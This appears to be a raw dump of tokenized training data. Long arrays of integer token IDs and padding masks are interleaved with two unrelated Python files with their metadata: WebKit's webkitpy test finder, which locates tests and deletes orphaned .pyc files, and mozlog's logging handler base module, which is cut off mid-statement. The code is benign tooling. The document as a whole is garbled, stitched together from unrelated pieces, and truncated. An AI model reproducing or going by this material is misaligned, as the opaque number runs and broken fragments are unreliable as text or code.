[ 257, 1898, 7800, 1603, 455, 1873, 445, 470, 261, 89, 199, 3, 199, 3, 257, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 257, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 257, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 755, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 257, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 257, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 257, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 257, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 257, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 14, 515, 199, 646, 6055, 19, 199, 646, 21199, 14, 3924, 199, 646, 2050, 199, 646, 984, 199, 646, 2022, 199, 646, 14374, 199, 646, 747, 199, 646, 20932, 14, 4435, 199, 504, 2197, 492, 2197, 12, 6871, 199, 504, 900, 492, 9435, 421, 199, 363, 2502, 363, 275, 283, 42, 455, 1873, 445, 470, 261, 89, 7, 199, 363, 1023, 363, 275, 283, 16, 14, 25, 14, 16, 7, 421, 199, 533, 437, 541, 51, 19, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 1249, 304, 267, 291, 14, 793, 275, 291, 423, 2921, 342, 267, 291, 14, 589, 275, 1249, 267, 291, 14, 271, 1533, 275, 1249, 14, 1725, 14, 1294, 342, 398, 340, 1249, 14, 1287, 508, 283, 5064, 356, 288, 291, 14, 5064, 63, 271, 1533, 342, 267, 916, 1249, 14, 1287, 508, 283, 1807, 356, 288, 291, 14, 1807, 63, 271, 1533, 342, 267, 587, 26, 288, 291, 14, 793, 14, 705, 360, 5912, 1414, 26, 9499, 908, 8, 589, 14, 1287, 430, 339, 347, 485, 2921, 8, 277, 304, 267, 943, 275, 2050, 14, 5572, 360, 6182, 13, 83, 19, 358, 267, 943, 14, 13548, 8, 4806, 14, 4531, 9, 267, 3016, 275, 2050, 14, 22482, 8, 1274, 14, 2703, 9, 267, 3016, 14, 26076, 8, 288, 2050, 14, 7772, 8, 355, 9487, 18331, 9, 83, 2818, 20056, 7216, 24, 83, 2818, 354, 9, 83, 26, 2818, 1188, 9, 83, 297, 355, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 1333, 267, 943, 14, 18826, 8, 2232, 9, 398, 372, 943, 339, 347, 485, 83, 19, 63, 1631, 8, 277, 304, 267, 6055, 19, 14, 2758, 63, 885, 63, 1730, 8, 288, 4690, 63, 354, 29, 277, 14, 589, 14, 2913, 12, 288, 4897, 63, 354, 29, 277, 14, 589, 14, 4551, 9, 398, 291, 14, 83, 19, 275, 6055, 19, 14, 1258, 360, 83, 19, 358, 339, 347, 485, 1074, 63, 271, 1533, 63, 4494, 8, 277, 12, 32610, 304, 267, 340, 440, 747, 14, 515, 14, 6292, 8, 16762, 304, 288, 291, 14, 793, 14, 705, 360, 1173, 469, 16, 93, 3181, 3985, 84, 2187, 1370, 908, 8, 16762, 430, 288, 4458, 8, 17, 9, 339, 347, 485, 1074, 63, 831, 8, 277, 12, 3819, 304, 267, 340, 291, 14, 589, 14, 831, 26, 288, 4650, 493, 275, 283, 18552, 5321, 16, 16152, 17, 5995, 3008, 24185, 18, 5995, 439, 1086, 19, 63, 26204, 1370, 908, 8, 355, 291, 14, 589, 14, 11879, 12, 291, 14, 589, 14, 3173, 12, 3819, 9, 953, 6714, 63, 2131, 275, 2197, 14, 10779, 342, 288, 6714, 63, 2379, 275, 6714, 63, 2131, 435, 6871, 8, 4515, 29, 277, 14, 589, 14, 831, 63, 2593, 9, 953, 1830, 6714, 63, 2131, 665, 6714, 63, 2379, 26, 355, 862, 26, 490, 4650, 275, 291, 14, 83, 19, 14, 362, 63, 785, 8, 717, 31479, 29, 277, 14, 589, 14, 4623, 12, 717, 2606, 29, 26204, 9, 4951, 4650, 63, 2030, 275, 2022, 14, 3640, 8, 831, 459, 8173, 2278, 739, 1012, 490, 291, 14, 793, 14, 815, 8, 717, 298, 15614, 365, 14233, 701, 4573, 922, 26, 469, 16, 93, 32, 91, 17, 5469, 908, 8, 1169, 4650, 63, 2030, 459, 751, 995, 4650, 63, 2030, 459, 1102, 5156, 4951, 6714, 63, 2131, 275, 2197, 14, 10779, 342, 490, 6714, 63, 831, 275, 4650, 459, 6090, 11911, 2278, 1814, 8, 9374, 29, 403, 9, 490, 6714, 63, 3028, 275, 6714, 63, 2131, 446, 6714, 63, 831, 490, 340, 6714, 63, 3028, 14, 4515, 690, 291, 14, 589, 14, 831, 63, 2593, 26, 717, 291, 14, 793, 14, 705, 8, 1169, 283, 15614, 4650, 365, 4634, 2269, 26, 30332, 7754, 315, 27174, 323, 17374, 908, 8, 1086, 63, 3028, 430, 717, 4458, 8, 17, 9, 4951, 9435, 8, 709, 9, 2234, 871, 21199, 14, 3924, 14, 19992, 465, 325, 26, 490, 340, 325, 14, 1310, 459, 547, 2545, 3034, 418, 508, 283, 30049, 1197, 356, 717, 2059, 490, 587, 26, 717, 746, 953, 291, 14, 793, 14, 815, 480, 15322, 1337, 370, 3332, 282, 4650, 531, 288, 4650, 63, 2030, 275, 2022, 14, 4180, 2561, 355, 298, 751, 582, 14374, 14, 362, 8796, 1535, 8, 736, 14, 362, 1535, 8801, 8796, 63, 354, 12, 355, 298, 1102, 582, 747, 14, 16040, 3430, 17, 61, 288, 3828, 953, 291, 14, 83, 19, 14, 524, 63, 785, 8, 355, 29665, 29, 831, 63, 2030, 12, 355, 31479, 29, 277, 14, 589, 14, 4623, 12, 355, 2606, 29, 26204, 9, 288, 291, 14, 793, 14, 815, 480, 22408, 7611, 367, 7029, 531, 339, 347, 485, 1807, 63, 831, 8, 277, 12, 3819, 304, 267, 340, 291, 14, 589, 14, 831, 26, 288, 291, 14, 793, 14, 815, 360, 23420, 4650, 493, 358, 288, 4650, 493, 275, 283, 18552, 5321, 16, 16152, 17, 5995, 3008, 24185, 18, 5995, 439, 1086, 19, 63, 26204, 1370, 908, 8, 355, 291, 14, 589, 14, 11879, 12, 291, 14, 589, 14, 3173, 12, 3819, 9, 288,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
vietch2612/phantomjs
src/qt/qtwebkit/Tools/Scripts/webkitpy/test/finder.py
157
7256
# Copyright (C) 2012 Google, Inc. # Copyright (C) 2010 Chris Jerdonek (cjerdonek@webkit.org) # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """this module is responsible for finding python tests.""" import logging import re _log = logging.getLogger(__name__) class _DirectoryTree(object): def __init__(self, filesystem, top_directory, starting_subdirectory): self.filesystem = filesystem self.top_directory = filesystem.realpath(top_directory) self.search_directory = self.top_directory self.top_package = '' if starting_subdirectory: self.top_package = starting_subdirectory.replace(filesystem.sep, '.') + '.' self.search_directory = filesystem.join(self.top_directory, starting_subdirectory) def find_modules(self, suffixes, sub_directory=None): if sub_directory: search_directory = self.filesystem.join(self.top_directory, sub_directory) else: search_directory = self.search_directory def file_filter(filesystem, dirname, basename): return any(basename.endswith(suffix) for suffix in suffixes) filenames = self.filesystem.files_under(search_directory, file_filter=file_filter) return [self.to_module(filename) for filename in filenames] def to_module(self, path): return path.replace(self.top_directory + self.filesystem.sep, '').replace(self.filesystem.sep, '.')[:-3] def subpath(self, path): """Returns the relative path from the top of the tree to the path, or None if the path is not under the top of the tree.""" realpath = self.filesystem.realpath(self.filesystem.join(self.top_directory, path)) if realpath.startswith(self.top_directory + self.filesystem.sep): return realpath.replace(self.top_directory + self.filesystem.sep, '') return None def clean(self): """Delete all .pyc files in the tree that have no matching .py file.""" _log.debug("Cleaning orphaned *.pyc files from: %s" % self.search_directory) filenames = self.filesystem.files_under(self.search_directory) for filename in filenames: if filename.endswith(".pyc") and filename[:-1] not in filenames: _log.info("Deleting orphan *.pyc file: %s" % filename) self.filesystem.remove(filename) class Finder(object): def __init__(self, filesystem): self.filesystem = filesystem self.trees = [] self._names_to_skip = [] def add_tree(self, top_directory, starting_subdirectory=None): self.trees.append(_DirectoryTree(self.filesystem, top_directory, starting_subdirectory)) def skip(self, names, reason, bugid): self._names_to_skip.append(tuple([names, reason, bugid])) def additional_paths(self, paths): return [tree.top_directory for tree in self.trees if tree.top_directory not in paths] def clean_trees(self): for tree in self.trees: tree.clean() def is_module(self, name): relpath = name.replace('.', self.filesystem.sep) + '.py' return any(self.filesystem.exists(self.filesystem.join(tree.top_directory, relpath)) for tree in self.trees) def is_dotted_name(self, name): return re.match(r'[a-zA-Z.][a-zA-Z0-9_.]*', name) def to_module(self, path): for tree in self.trees: if path.startswith(tree.top_directory): return tree.to_module(path) return None def find_names(self, args, find_all): suffixes = ['_unittest.py', '_integrationtest.py'] if args: names = [] for arg in args: names.extend(self._find_names_for_arg(arg, suffixes)) return names return self._default_names(suffixes, find_all) def _find_names_for_arg(self, arg, suffixes): realpath = self.filesystem.realpath(arg) if self.filesystem.exists(realpath): names = self._find_in_trees(realpath, suffixes) if not names: _log.error("%s is not in one of the test trees." % arg) return names # See if it's a python package in a tree (or a relative path from the top of a tree). names = self._find_in_trees(arg.replace('.', self.filesystem.sep), suffixes) if names: return names if self.is_dotted_name(arg): # The name may not exist, but that's okay; we'll find out later. return [arg] _log.error("%s is not a python name or an existing file or directory." % arg) return [] def _find_in_trees(self, path, suffixes): for tree in self.trees: relpath = tree.subpath(path) if not relpath: continue if self.filesystem.isfile(path): return [tree.to_module(path)] else: return tree.find_modules(suffixes, path) return [] def _default_names(self, suffixes, find_all): modules = [] for tree in self.trees: modules.extend(tree.find_modules(suffixes)) modules.sort() for module in modules: _log.debug("Found: %s" % module) if not find_all: for (names, reason, bugid) in self._names_to_skip: self._exclude(modules, names, reason, bugid) return modules def _exclude(self, modules, module_prefixes, reason, bugid): _log.info('Skipping tests in the following modules or packages because they %s:' % reason) for prefix in module_prefixes: _log.info(' %s' % prefix) modules_to_exclude = filter(lambda m: m.startswith(prefix), modules) for m in modules_to_exclude: if len(modules_to_exclude) > 1: _log.debug(' %s' % m) modules.remove(m) _log.info(' (https://bugs.webkit.org/show_bug.cgi?id=%d; use --all to include)' % bugid) _log.info('')
bsd-3-clause
[ 3, 1898, 334, 35, 9, 6029, 4475, 12, 3277, 14, 199, 3, 1898, 334, 35, 9, 7129, 2799, 5719, 1603, 281, 4456, 75, 334, 24862, 281, 4456, 75, 32, 12554, 14, 1308, 9, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 413, 14, 221, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 221, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 258, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 19525, 906, 7839, 14, 2401, 473, 9730, 6483, 1124, 1179, 2281, 891, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 19525, 906, 7839, 14, 1549, 473, 9730, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 199, 3, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 199, 3, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 3749, 859, 365, 17845, 367, 17196, 2366, 2295, 1041, 199, 199, 646, 2050, 199, 646, 295, 421, 199, 63, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 485, 6231, 3987, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10036, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 304, 267, 291, 14, 11381, 275, 10036, 267, 291, 14, 2119, 63, 3619, 275, 10036, 14, 11091, 8, 2119, 63, 3619, 9, 267, 291, 14, 1733, 63, 3619, 275, 291, 14, 2119, 63, 3619, 267, 291, 14, 2119, 63, 2491, 275, 2125, 267, 340, 6617, 63, 954, 3619, 26, 288, 291, 14, 2119, 63, 2491, 275, 6617, 63, 954, 3619, 14, 1814, 8, 11381, 14, 4127, 12, 20093, 435, 7815, 288, 291, 14, 1733, 63, 3619, 275, 10036, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 6617, 63, 954, 3619, 9, 339, 347, 2342, 63, 3112, 8, 277, 12, 19475, 12, 1007, 63, 3619, 29, 403, 304, 267, 340, 1007, 63, 3619, 26, 288, 2754, 63, 3619, 275, 291, 14, 11381, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 1007, 63, 3619, 9, 267, 587, 26, 288, 2754, 63, 3619, 275, 291, 14, 1733, 63, 3619, 398, 347, 570, 63, 1541, 8, 11381, 12, 9017, 12, 9593, 304, 288, 372, 1263, 8, 4846, 14, 4130, 8, 4511, 9, 367, 4739, 315, 19475, 9, 398, 6203, 275, 291, 14, 11381, 14, 1725, 63, 7138, 8, 1733, 63, 3619, 12, 570, 63, 1541, 29, 493, 63, 1541, 9, 267, 372, 359, 277, 14, 475, 63, 578, 8, 1501, 9, 367, 1788, 315, 6203, 61, 339, 347, 370, 63, 578, 8, 277, 12, 931, 304, 267, 372, 931, 14, 1814, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 12, 12548, 1814, 8, 277, 14, 11381, 14, 4127, 12, 20093, 4439, 19, 61, 339, 347, 25582, 8, 277, 12, 931, 304, 267, 408, 3407, 314, 3847, 931, 687, 314, 2746, 402, 314, 3123, 370, 314, 931, 12, 503, 488, 340, 314, 931, 365, 440, 1334, 314, 2746, 402, 314, 3123, 1041, 267, 3363, 515, 275, 291, 14, 11381, 14, 11091, 8, 277, 14, 11381, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 931, 430, 267, 340, 3363, 515, 14, 2460, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 304, 288, 372, 3363, 515, 14, 1814, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 12, 4074, 267, 372, 488, 339, 347, 3633, 8, 277, 304, 267, 408, 5392, 1006, 1275, 11357, 1584, 315, 314, 3123, 626, 1172, 949, 4877, 1275, 647, 570, 1041, 267, 485, 793, 14, 1757, 480, 6580, 316, 23237, 379, 23588, 11357, 1584, 687, 26, 450, 83, 2, 450, 291, 14, 1733, 63, 3619, 9, 267, 6203, 275, 291, 14, 11381, 14, 1725, 63, 7138, 8, 277, 14, 1733, 63, 3619, 9, 267, 367, 1788, 315, 6203, 26, 288, 340, 1788, 14, 4130, 9520, 11357, 531, 436, 1788, 4439, 17, 61, 440, 315, 6203, 26, 355, 485, 793, 14, 815, 480, 22001, 23237, 23588, 11357, 570, 26, 450, 83, 2, 450, 1788, 9, 355, 291, 14, 11381, 14, 2168, 8, 1501, 9, 421, 199, 533, 481, 5755, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10036, 304, 267, 291, 14, 11381, 275, 10036, 267, 291, 14, 14635, 275, 942, 267, 291, 423, 1247, 63, 475, 63, 2759, 275, 942, 339, 347, 1050, 63, 2350, 8, 277, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 29, 403, 304, 267, 291, 14, 14635, 14, 740, 1547, 6231, 3987, 8, 277, 14, 11381, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 430, 339, 347, 3372, 8, 277, 12, 1561, 12, 4499, 12, 6519, 344, 304, 267, 291, 423, 1247, 63, 475, 63, 2759, 14, 740, 8, 2960, 779, 1247, 12, 4499, 12, 6519, 344, 2459, 339, 347, 4722, 63, 3771, 8, 277, 12, 3792, 304, 267, 372, 359, 2350, 14, 2119, 63, 3619, 367, 3123, 315, 291, 14, 14635, 340, 3123, 14, 2119, 63, 3619, 440, 315, 3792, 61, 339, 347, 3633, 63, 14635, 8, 277, 304, 267, 367, 3123, 315, 291, 14, 14635, 26, 288, 3123, 14, 3118, 342, 339, 347, 365, 63, 578, 8, 277, 12, 536, 304, 267, 20700, 275, 536, 14, 1814, 14078, 291 ]
[ 1898, 334, 35, 9, 6029, 4475, 12, 3277, 14, 199, 3, 1898, 334, 35, 9, 7129, 2799, 5719, 1603, 281, 4456, 75, 334, 24862, 281, 4456, 75, 32, 12554, 14, 1308, 9, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 413, 14, 221, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 221, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 258, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 19525, 906, 7839, 14, 2401, 473, 9730, 6483, 1124, 1179, 2281, 891, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 19525, 906, 7839, 14, 1549, 473, 9730, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 199, 3, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 199, 3, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 3749, 859, 365, 17845, 367, 17196, 2366, 2295, 1041, 199, 199, 646, 2050, 199, 646, 295, 421, 199, 63, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 485, 6231, 3987, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10036, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 304, 267, 291, 14, 11381, 275, 10036, 267, 291, 14, 2119, 63, 3619, 275, 10036, 14, 11091, 8, 2119, 63, 3619, 9, 267, 291, 14, 1733, 63, 3619, 275, 291, 14, 2119, 63, 3619, 267, 291, 14, 2119, 63, 2491, 275, 2125, 267, 340, 6617, 63, 954, 3619, 26, 288, 291, 14, 2119, 63, 2491, 275, 6617, 63, 954, 3619, 14, 1814, 8, 11381, 14, 4127, 12, 20093, 435, 7815, 288, 291, 14, 1733, 63, 3619, 275, 10036, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 6617, 63, 954, 3619, 9, 339, 347, 2342, 63, 3112, 8, 277, 12, 19475, 12, 1007, 63, 3619, 29, 403, 304, 267, 340, 1007, 63, 3619, 26, 288, 2754, 63, 3619, 275, 291, 14, 11381, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 1007, 63, 3619, 9, 267, 587, 26, 288, 2754, 63, 3619, 275, 291, 14, 1733, 63, 3619, 398, 347, 570, 63, 1541, 8, 11381, 12, 9017, 12, 9593, 304, 288, 372, 1263, 8, 4846, 14, 4130, 8, 4511, 9, 367, 4739, 315, 19475, 9, 398, 6203, 275, 291, 14, 11381, 14, 1725, 63, 7138, 8, 1733, 63, 3619, 12, 570, 63, 1541, 29, 493, 63, 1541, 9, 267, 372, 359, 277, 14, 475, 63, 578, 8, 1501, 9, 367, 1788, 315, 6203, 61, 339, 347, 370, 63, 578, 8, 277, 12, 931, 304, 267, 372, 931, 14, 1814, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 12, 12548, 1814, 8, 277, 14, 11381, 14, 4127, 12, 20093, 4439, 19, 61, 339, 347, 25582, 8, 277, 12, 931, 304, 267, 408, 3407, 314, 3847, 931, 687, 314, 2746, 402, 314, 3123, 370, 314, 931, 12, 503, 488, 340, 314, 931, 365, 440, 1334, 314, 2746, 402, 314, 3123, 1041, 267, 3363, 515, 275, 291, 14, 11381, 14, 11091, 8, 277, 14, 11381, 14, 904, 8, 277, 14, 2119, 63, 3619, 12, 931, 430, 267, 340, 3363, 515, 14, 2460, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 304, 288, 372, 3363, 515, 14, 1814, 8, 277, 14, 2119, 63, 3619, 435, 291, 14, 11381, 14, 4127, 12, 4074, 267, 372, 488, 339, 347, 3633, 8, 277, 304, 267, 408, 5392, 1006, 1275, 11357, 1584, 315, 314, 3123, 626, 1172, 949, 4877, 1275, 647, 570, 1041, 267, 485, 793, 14, 1757, 480, 6580, 316, 23237, 379, 23588, 11357, 1584, 687, 26, 450, 83, 2, 450, 291, 14, 1733, 63, 3619, 9, 267, 6203, 275, 291, 14, 11381, 14, 1725, 63, 7138, 8, 277, 14, 1733, 63, 3619, 9, 267, 367, 1788, 315, 6203, 26, 288, 340, 1788, 14, 4130, 9520, 11357, 531, 436, 1788, 4439, 17, 61, 440, 315, 6203, 26, 355, 485, 793, 14, 815, 480, 22001, 23237, 23588, 11357, 570, 26, 450, 83, 2, 450, 1788, 9, 355, 291, 14, 11381, 14, 2168, 8, 1501, 9, 421, 199, 533, 481, 5755, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 10036, 304, 267, 291, 14, 11381, 275, 10036, 267, 291, 14, 14635, 275, 942, 267, 291, 423, 1247, 63, 475, 63, 2759, 275, 942, 339, 347, 1050, 63, 2350, 8, 277, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 29, 403, 304, 267, 291, 14, 14635, 14, 740, 1547, 6231, 3987, 8, 277, 14, 11381, 12, 2746, 63, 3619, 12, 6617, 63, 954, 3619, 430, 339, 347, 3372, 8, 277, 12, 1561, 12, 4499, 12, 6519, 344, 304, 267, 291, 423, 1247, 63, 475, 63, 2759, 14, 740, 8, 2960, 779, 1247, 12, 4499, 12, 6519, 344, 2459, 339, 347, 4722, 63, 3771, 8, 277, 12, 3792, 304, 267, 372, 359, 2350, 14, 2119, 63, 3619, 367, 3123, 315, 291, 14, 14635, 340, 3123, 14, 2119, 63, 3619, 440, 315, 3792, 61, 339, 347, 3633, 63, 14635, 8, 277, 304, 267, 367, 3123, 315, 291, 14, 14635, 26, 288, 3123, 14, 3118, 342, 339, 347, 365, 63, 578, 8, 277, 12, 536, 304, 267, 20700, 275, 536, 14, 1814, 14078, 291, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tafia/servo
python/mozlog/mozlog/structured/handlers/base.py
46
3764
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from threading import Lock import codecs from ..structuredlog import log_levels class BaseHandler(object): """A base handler providing message handling facilities to derived classes. :param inner: A handler-like callable that may receive messages from a log user. """ def __init__(self, inner): self.wrapped = [] if hasattr(inner, "handle_message"): self.wrapped.append(inner) self.message_handlers = {} def register_message_handlers(self, topic, handlers): self.message_handlers[topic] = handlers def handle_message(self, topic, cmd, *args): """Handles a message for the given topic by calling a subclass-defined callback for the command. :param topic: The topic of the broadcasted message. Handlers opt-in to receiving messages by identifying a topic when calling register_message_handlers. :param command: The command to issue. This is a string that corresponds to a callback provided by the target. :param arg: Arguments to pass to the identified message callback, if any. """ rv = [] if topic in self.message_handlers and cmd in self.message_handlers[topic]: rv.append(self.message_handlers[topic][cmd](*args)) for inner in self.wrapped: rv.extend(inner.handle_message(topic, cmd, *args)) return rv class LogLevelFilter(BaseHandler): """Handler that filters out messages with action of log and a level lower than some specified level. :param inner: Handler to use for messages that pass this filter :param level: Minimum log level to process """ def __init__(self, inner, level): BaseHandler.__init__(self, inner) self.inner = inner self.level = log_levels[level.upper()] def __call__(self, item): if (item["action"] != "log" or log_levels[item["level"].upper()] <= self.level): return self.inner(item) class StreamHandler(BaseHandler): """Handler for writing to a file-like object :param stream: File-like object to write log messages to :param formatter: formatter to convert messages to string format """ _lock = Lock() def __init__(self, stream, formatter): BaseHandler.__init__(self, formatter) assert stream is not None # This is a hack to deal with the case where we are passed a # StreamWriter (e.g. by mach for stdout). A StreamWriter requires # the code to handle unicode in exactly the opposite way compared # to a normal stream i.e. you always have to pass in a Unicode # object rather than a string object. Cope with that by extracting # the underlying raw stream. if isinstance(stream, codecs.StreamWriter): stream = stream.stream self.formatter = formatter self.stream = stream def __call__(self, data): """Write a log message. :param data: Structured log message dictionary.""" formatted = 